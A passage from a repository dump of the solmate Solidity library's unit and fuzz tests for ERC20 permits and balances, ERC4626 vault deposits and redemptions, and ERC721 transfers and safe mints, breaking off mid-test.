testFailBurnInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 burnAmount\n    ) public {\n        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(to, mintAmount);\n        token.burn(to, burnAmount);\n    }\n\n    function testFailTransferInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 sendAmount\n    ) public {\n        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(this), mintAmount);\n        token.transfer(to, sendAmount);\n    }\n\n    function testFailTransferFromInsufficientAllowance(\n        address to,\n        uint256 approval,\n        uint256 amount\n    ) public {\n        amount = bound(amount, approval + 1, type(uint256).max);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), amount);\n        from.approve(address(this), approval);\n        token.transferFrom(address(from), to, amount);\n    }\n\n    function testFailTransferFromInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 sendAmount\n    ) public {\n        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), mintAmount);\n        from.approve(address(this), sendAmount);\n        token.transferFrom(address(from), to, sendAmount);\n    }\n\n    function testFailPermitBadNonce(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline,\n        uint256 nonce\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n        if (nonce == 0) nonce = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, nonce, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n\n    function testFailPermitBadDeadline(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline + 1, v, r, s);\n    }\n\n    function testFailPermitPastDeadline(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        deadline = bound(deadline, 0, block.timestamp - 1);\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n\n    function testFailPermitReplay(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(PERMIT_TYPEHASH, owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n}\n\ncontract ERC20Invariants is DSTestPlus, DSInvariantTest {\n    BalanceSum balanceSum;\n    MockERC20 token;\n\n    function setUp() public {\n        token = new MockERC20(\"Token\", \"TKN\", 18);\n        balanceSum = new BalanceSum(token);\n\n        addTargetContract(address(balanceSum));\n    }\n\n    function invariantBalanceSum() public {\n        assertEq(token.totalSupply(), balanceSum.sum());\n    }\n}\n\ncontract BalanceSum {\n    MockERC20 token;\n    uint256 public sum;\n\n    constructor(MockERC20 _token) {\n        token = _token;\n    }\n\n    function mint(address from, uint256 amount) public {\n        token.mint(from, amount);\n        sum += amount;\n    }\n\n    function burn(address from, uint256 amount) public {\n        token.burn(from, amount);\n        sum -= amount;\n    }\n\n    function approve(address to, uint256 amount) public {\n        token.approve(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        token.transferFrom(from, to, amount);\n    }\n\n    function transfer(address to, uint256 amount) public {\n        token.transfer(to, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC4626.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\n\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {MockERC4626} from \"./utils/mocks/MockERC4626.sol\";\nimport {ERC4626User} from \"./utils/users/ERC4626User.sol\";\n\ncontract ERC4626Test is DSTestPlus {\n    MockERC20 underlying;\n    MockERC4626 vault;\n\n    function setUp() public {\n        underlying = new MockERC20(\"Mock Token\", \"TKN\", 18);\n        vault = new MockERC4626(underlying, \"Mock Token Vault\", \"vwTKN\");\n    }\n\n    function invariantMetadata() public {\n        assertEq(vault.name(), \"Mock Token Vault\");\n        assertEq(vault.symbol(), \"vwTKN\");\n        assertEq(vault.decimals(), 18);\n    }\n\n    function invariantAssetsPerShare() public {\n        assertGe(vault.assetsPerShare(), 1e18);\n    }\n\n    function testMetaData() public {\n        assertEq(vault.name(), \"Mock Token Vault\");\n        assertEq(vault.symbol(), \"vwTKN\");\n        assertEq(vault.decimals(), 18);\n    }\n\n    function testSingleDepositWithdraw(uint128 amount) public {\n        if (amount == 0) amount = 1;\n\n        uint256 aliceUnderlyingAmount = amount;\n\n        ERC4626User alice = new ERC4626User(vault, underlying);\n\n        underlying.mint(address(alice), aliceUnderlyingAmount);\n        alice.approve(address(vault), aliceUnderlyingAmount);\n        assertEq(underlying.allowance(address(alice), address(vault)), aliceUnderlyingAmount);\n\n        uint256 alicePreDepositBal = underlying.balanceOf(address(alice));\n\n        uint256 aliceShareAmount = alice.deposit(aliceUnderlyingAmount, address(alice));\n        assertEq(vault.afterDepositHookCalledCounter(), 1);\n\n        // Expect exchange rate to be 1:1 on initial deposit.\n        assertEq(aliceUnderlyingAmount, aliceShareAmount);\n        assertEq(vault.previewWithdraw(aliceShareAmount), aliceUnderlyingAmount);\n        assertEq(vault.previewDeposit(aliceUnderlyingAmount), aliceShareAmount);\n        assertEq(vault.totalSupply(), aliceShareAmount);\n        assertEq(vault.totalAssets(), aliceUnderlyingAmount);\n        assertEq(vault.balanceOf(address(alice)), aliceShareAmount);\n        assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount);\n        assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal - aliceUnderlyingAmount);\n\n        alice.withdraw(aliceUnderlyingAmount, address(alice), address(alice));\n        assertEq(vault.beforeWithdrawHookCalledCounter(), 1);\n\n        assertEq(vault.totalAssets(), 0);\n        assertEq(vault.balanceOf(address(alice)), 0);\n        assertEq(vault.assetsOf(address(alice)), 0);\n        assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal);\n    }\n\n    function testSingleMintRedeem(uint128 amount) public {\n        if (amount == 0) amount = 1;\n\n        uint256 aliceShareAmount = amount;\n\n        ERC4626User alice = new ERC4626User(vault, underlying);\n\n        underlying.mint(address(alice), aliceShareAmount);\n        alice.approve(address(vault), aliceShareAmount);\n        assertEq(underlying.allowance(address(alice), address(vault)), aliceShareAmount);\n\n        uint256 alicePreDepositBal = underlying.balanceOf(address(alice));\n\n        uint256 aliceUnderlyingAmount = alice.mint(aliceShareAmount, address(alice));\n        assertEq(vault.afterDepositHookCalledCounter(), 1);\n\n        // Expect exchange rate to be 1:1 on initial mint.\n        assertEq(aliceShareAmount, aliceUnderlyingAmount);\n        assertEq(vault.previewWithdraw(aliceShareAmount), aliceUnderlyingAmount);\n        assertEq(vault.previewDeposit(aliceUnderlyingAmount), aliceShareAmount);\n        assertEq(vault.totalSupply(), aliceShareAmount);\n        assertEq(vault.totalAssets(), aliceUnderlyingAmount);\n        assertEq(vault.balanceOf(address(alice)), aliceUnderlyingAmount);\n        assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount);\n        assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal - aliceUnderlyingAmount);\n\n        alice.redeem(aliceShareAmount, address(alice), address(alice));\n        assertEq(vault.beforeWithdrawHookCalledCounter(), 1);\n\n        assertEq(vault.totalAssets(), 0);\n        assertEq(vault.balanceOf(address(alice)), 0);\n        assertEq(vault.assetsOf(address(alice)), 0);\n        assertEq(underlying.balanceOf(address(alice)), alicePreDepositBal);\n    }\n\n    function testMultipleMintDepositRedeemWithdraw() public {\n        // Scenario:\n        // - Alice mints 2e18 tokens\n        // - Bob deposits 4e18 tokens\n        // - Vault mutates by +3e18 tokens (simulated yield returned from strategy)\n        // - Alice redeems 2e18 tokens + 1e18 tokens (33.33%)\n        // - Bob redeems 4e18 tokens + 2e18 tokens (66.66%)\n\n        ERC4626User alice = new ERC4626User(vault, underlying);\n        ERC4626User bob = new ERC4626User(vault, underlying);\n\n        uint256 aliceDesiredShareAmount = 2e18;\n        uint256 bobDesiredUnderlyingAmount = 4e18;\n        uint256 mutationUnderlyingAmount = 3e18;\n\n        underlying.mint(address(alice), 2e18);\n        alice.approve(address(vault), 2e18);\n        assertEq(underlying.allowance(address(alice), address(vault)), 2e18);\n\n        underlying.mint(address(bob), 4e18);\n        bob.approve(address(vault), 4e18);\n        assertEq(underlying.allowance(address(bob), address(vault)), 4e18);\n\n        // Alice mints.\n        uint256 aliceUnderlyingAmount = alice.mint(aliceDesiredShareAmount, address(alice));\n        uint256 aliceShareAmount = vault.previewDeposit(aliceUnderlyingAmount);\n        assertEq(vault.afterDepositHookCalledCounter(), 1);\n\n        // Expect to have received the requested mint amount.\n        assertEq(aliceShareAmount, aliceDesiredShareAmount);\n        assertEq(vault.balanceOf(address(alice)), aliceShareAmount);\n        assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount);\n\n        // Expect a 1:1 ratio before mutation.\n        assertEq(aliceUnderlyingAmount, aliceDesiredShareAmount);\n\n        // Sanity check.\n        assertEq(vault.totalSupply(), aliceShareAmount);\n        assertEq(vault.totalAssets(), aliceUnderlyingAmount);\n\n        // Bob deposits.\n        uint256 bobShareAmount = bob.deposit(bobDesiredUnderlyingAmount, address(bob));\n        uint256 bobUnderlyingAmount = vault.previewWithdraw(bobShareAmount);\n        assertEq(vault.afterDepositHookCalledCounter(), 2);\n\n        // Expect to have received the requested underlying amount.\n        assertEq(bobUnderlyingAmount, bobDesiredUnderlyingAmount);\n        assertEq(vault.balanceOf(address(bob)), bobShareAmount);\n        assertEq(vault.assetsOf(address(bob)), bobUnderlyingAmount);\n\n        // Expect a 1:1 ratio before mutation.\n        assertEq(bobShareAmount, bobUnderlyingAmount);\n\n        // Sanity check.\n        uint256 preMutationShareBal = aliceShareAmount + bobShareAmount;\n        uint256 preMutationBal = aliceUnderlyingAmount + bobUnderlyingAmount;\n        assertEq(vault.totalSupply(), preMutationShareBal);\n        assertEq(vault.totalAssets(), preMutationBal);\n\n        // Simulate a positive mutation (+3e18) within the Vault.\n        // The Vault now contains more tokens than deposited which causes the exchange rate to change.\n        // Alice share is 33.33% of the Vault, Bob 66.66% of the Vault.\n        // Alice's share count stays the same but the underlying amount changes from 2e18 to 3e18.\n        // Bob's share count stays the same but the underlying amount changes from 4e18 to 6e18.\n        underlying.mint(address(vault), mutationUnderlyingAmount);\n        assertEq(vault.totalSupply(), preMutationShareBal);\n        assertEq(vault.totalAssets(), preMutationBal + mutationUnderlyingAmount);\n        assertEq(vault.balanceOf(address(alice)), aliceShareAmount);\n        assertEq(vault.assetsOf(address(alice)), aliceUnderlyingAmount + (mutationUnderlyingAmount / 3) * 1);\n        assertEq(vault.balanceOf(address(bob)), bobShareAmount);\n        assertEq(vault.assetsOf(address(bob)), bobUnderlyingAmount + (mutationUnderlyingAmount / 3) * 2);\n\n        // Alice redeems her share balance\n        uint256 aliceRedeemUnderlyingAmount = alice.redeem(aliceShareAmount, address(alice), address(alice));\n        assertEq(vault.beforeWithdrawHookCalledCounter(), 1);\n        assertEq(aliceRedeemUnderlyingAmount, aliceUnderlyingAmount + (mutationUnderlyingAmount / 3) * 1);\n        assertEq(vault.balanceOf(address(alice)), 0);\n        assertEq(vault.assetsOf(address(alice)), 0);\n        assertEq(vault.totalSupply(), preMutationShareBal - aliceShareAmount);\n        assertEq(vault.totalAssets(), preMutationBal + mutationUnderlyingAmount - aliceRedeemUnderlyingAmount);\n\n        // Bob withdraws his share balance (share balance remains the same)\n        assertEq(vault.assetsOf(address(bob)), bobUnderlyingAmount + (mutationUnderlyingAmount / 3) * 2);\n        assertEq(vault.balanceOf(address(bob)), bobShareAmount);\n        uint256 bobWithdrawShareAmount = bob.withdraw(\n            bobUnderlyingAmount + (mutationUnderlyingAmount / 3) * 2,\n            address(bob),\n            address(bob)\n        );\n        assertEq(vault.beforeWithdrawHookCalledCounter(), 2);\n        assertEq(bobWithdrawShareAmount, bobShareAmount);\n        assertEq(vault.balanceOf(address(bob)), 0);\n        assertEq(vault.assetsOf(address(bob)), 0);\n\n        // Alice and Bob left the Vault, should be empty again.\n        assertEq(vault.totalSupply(), 0);\n        assertEq(vault.totalAssets(), 0);\n    }\n\n    function testFailDepositWithNotEnoughApproval() public {\n        underlying.mint(address(this), 0.5e18);\n        underlying.approve(address(vault), 0.5e18);\n        assertEq(underlying.allowance(address(this), address(vault)), 0.5e18);\n\n        vault.deposit(1e18, address(this));\n    }\n\n    function testFailWithdrawWithNotEnoughUnderlyingAmount() public {\n        underlying.mint(address(this), 0.5e18);\n        underlying.approve(address(vault), 0.5e18);\n\n        vault.deposit(0.5e18, address(this));\n\n        vault.withdraw(1e18, address(this), address(this));\n    }\n\n    function testFailRedeemWithNotEnoughShareAmount() public {\n        underlying.mint(address(this), 0.5e18);\n        underlying.approve(address(vault), 0.5e18);\n\n        vault.deposit(0.5e18, address(this));\n\n        vault.redeem(1e18, address(this), address(this));\n    }\n\n    function testFailWithdrawWithNoUnderlyingAmount() public {\n        vault.withdraw(1e18, address(this), address(this));\n    }\n\n    function testFailRedeemWithNoShareAmount() public {\n        vault.redeem(1e18, address(this), address(this));\n    }\n\n    function testFailDepositWithNoApproval() public {\n        vault.deposit(1e18, address(this));\n    }\n\n    function testFailMintWithNoApproval() public {\n        vault.mint(1e18, address(this));\n    }\n\n    function testFailDepositZero() public {\n        vault.deposit(0, address(this));\n    }\n\n    function testMintZero() public {\n        vault.mint(0, address(this));\n\n        assertEq(vault.balanceOf(address(this)), 0);\n        assertEq(vault.assetsOf(address(this)), 0);\n        assertEq(vault.totalSupply(), 0);\n        assertEq(vault.totalAssets(), 0);\n    }\n\n    function testFailRedeemZero() public {\n        vault.redeem(0, address(this), address(this));\n    }\n\n    function testWithdrawZero() public {\n        vault.withdraw(0, address(this), address(this));\n\n        assertEq(vault.balanceOf(address(this)), 0);\n        assertEq(vault.assetsOf(address(this)), 0);\n        assertEq(vault.totalSupply(), 0);\n        assertEq(vault.totalAssets(), 0);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/ERC721.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC721} from \"./utils/mocks/MockERC721.sol\";\nimport {ERC721User} from \"./utils/users/ERC721User.sol\";\n\nimport {ERC721TokenReceiver} from \"../tokens/ERC721.sol\";\n\ncontract ERC721Recipient is ERC721TokenReceiver {\n    address public operator;\n    address public from;\n    uint256 public id;\n    bytes public data;\n\n    function onERC721Received(\n        address _operator,\n        address _from,\n        uint256 _id,\n        bytes calldata _data\n    ) public virtual override returns (bytes4) {\n        operator = _operator;\n        from = _from;\n        id = _id;\n        data = _data;\n\n        return ERC721TokenReceiver.onERC721Received.selector;\n    }\n}\n\ncontract RevertingERC721Recipient is ERC721TokenReceiver {\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC721TokenReceiver.onERC721Received.selector)));\n    }\n}\n\ncontract WrongReturnDataERC721Recipient is ERC721TokenReceiver {\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n}\n\ncontract NonERC721Recipient {}\n\ncontract ERC721Test is DSTestPlus {\n    MockERC721 token;\n\n    function setUp() public {\n        token = new MockERC721(\"Token\", \"TKN\");\n    }\n\n    function invariantMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n    }\n\n    function testMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n    }\n\n    function testMint() public {\n        token.mint(address(0xBEEF), 1337);\n\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1337);\n        token.burn(1337);\n\n        assertEq(token.balanceOf(address(0xBEEF)), 0);\n        assertEq(token.ownerOf(1337), address(0));\n    }\n\n    function testApprove() public {\n        token.mint(address(this), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0xBEEF));\n    }\n\n    function testApproveBurn() public {\n        token.mint(address(this), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n\n        token.burn(1337);\n\n        assertEq(token.balanceOf(address(this)), 0);\n        assertEq(token.ownerOf(1337), address(0));\n        assertEq(token.getApproved(1337), address(0));\n    }\n\n    function testApproveAll() public {\n        token.setApprovalForAll(address(0xBEEF), true);\n\n        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));\n    }\n\n    function testTransferFrom() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.approve(address(this), 1337);\n\n        token.transferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testTransferFromSelf() public {\n        token.mint(address(this), 1337);\n\n        token.transferFrom(address(this), address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(this)), 0);\n    }\n\n    function testTransferFromApproveAll() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.transferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToEOA() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToERC721Recipient() public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), 1337);\n\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), 1337);\n        assertBytesEq(recipient.data(), \"\");\n    }\n\n    function testSafeTransferFromToERC721RecipientWithData() public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), 1337, \"testing 123\");\n\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), 1337);\n        assertBytesEq(recipient.data(), \"testing 123\");\n    }\n\n    function testSafeMintToEOA() public {\n        token.safeMint(address(0xBEEF), 1337);\n\n        assertEq(token.ownerOf(1337), address(address(0xBEEF)));\n        assertEq(token.balanceOf(address(address(0xBEEF))), 1);\n    }\n\n    function testSafeMintToERC721Recipient() public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), 1337);\n\n        assertEq(token.ownerOf(1337), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.data(), \"\");\n    }\n\n    function testSafeMintToERC721RecipientWithData() public {\n        ERC721Recipient to = new ERC721Recipient();\n\n        token.safeMint(address(to), 1337, \"testing 123\");\n\n        assertEq(token.ownerOf(1337), address(to));\n        assertEq(token.balanceOf(address(to)), 1);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), 1337);\n        assertBytesEq(to.data(), \"testing 123\");\n    }\n\n    function testFailMintToZero() public {\n        token.mint(address(0), 1337);\n    }\n\n    function testFailDoubleMint() public {\n        token.mint(address(0xBEEF), 1337);\n        token.mint(address(0xBEEF), 1337);\n    }\n\n    function testFailBurnUnMinted() public {\n        token.burn(1337);\n    }\n\n    function testFailDoubleBurn() public {\n        token.mint(address(0xBEEF), 1337);\n\n        token.burn(1337);\n        token.burn(1337);\n    }\n\n    function testFailApproveUnMinted() public {\n        token.approve(address(0xBEEF), 1337);\n    }\n\n    function testFailApproveUnAuthorized() public {\n        token.mint(address(0xCAFE), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromUnOwned() public {\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromWrongFrom() public {\n        token.mint(address(0xCAFE), 1337);\n\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailTransferFromToZero() public {\n        token.mint(address(this), 1337);\n\n        token.transferFrom(address(this), address(0), 1337);\n    }\n\n    function testFailTransferFromNotOwner() public {\n        token.mint(address(0xFEED), 1337);\n\n        token.transferFrom(address(0xFEED), address(0xBEEF), 1337);\n    }\n\n    function testFailSafeTransferFromToNonERC721Recipient() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToNonERC721RecipientWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeTransferFromToRevertingERC721Recipient() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);\n    }\n\n    function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {\n        token.mint(address(this), 1337);\n\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToNonERC721Recipient() public {\n        token.safeMint(address(new NonERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToNonERC721RecipientWithData() public {\n        token.safeMint(address(new NonERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToRevertingERC721Recipient() public {\n        token.safeMint(address(new RevertingERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToRevertingERC721RecipientWithData() public {\n        token.safeMint(address(new RevertingERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnData() public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);\n    }\n\n    function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {\n        token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, \"testing 123\");\n    }\n\n    function testMetadata(string memory name, string memory symbol) public {\n        MockERC721 tkn = new MockERC721(name, symbol);\n\n        assertEq(tkn.name(), name);\n        assertEq(tkn.symbol(), symbol);\n    }\n\n    function testMint(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.ownerOf(id), to);\n    }\n\n    function testBurn(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(to, id);\n        token.burn(id);\n\n        assertEq(token.balanceOf(to), 0);\n        assertEq(token.ownerOf(id), address(0));\n    }\n\n    function testApprove(address to, uint256 id) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(address(this), id);\n\n        token.approve(to, id);\n\n        assertEq(token.getApproved(id), to);\n    }\n\n    function testApproveBurn(address to, uint256 id) public {\n        token.mint(address(this), id);\n\n        token.approve(address(to), id);\n\n        token.burn(id);\n\n        assertEq(token.balanceOf(address(this)), 0);\n        assertEq(token.ownerOf(id), address(0));\n        assertEq(token.getApproved(id), address(0));\n    }\n\n    function testApproveAll(address to, bool approved) public {\n        token.setApprovalForAll(to, approved);\n\n        assertBoolEq(token.isApprovedForAll(address(this), to), approved);\n    }\n\n    function testTransferFrom(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.approve(address(this), id);\n\n        token.transferFrom(address(from), to, id);\n\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testTransferFromSelf(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        token.mint(address(this), id);\n\n        token.transferFrom(address(this), to, id);\n\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(this)), 0);\n    }\n\n    function testTransferFromApproveAll(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.transferFrom(address(from), to, id);\n\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToEOA(uint256 id, address to) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id);\n\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), to);\n        assertEq(token.balanceOf(to), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToERC721Recipient(uint256 id) public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), id);\n\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), id);\n        assertBytesEq(recipient.data(), \"\");\n    }\n\n    function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), id);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), id, data);\n\n        assertEq(token.getApproved(id), address(0));\n        assertEq(token.ownerOf(id), 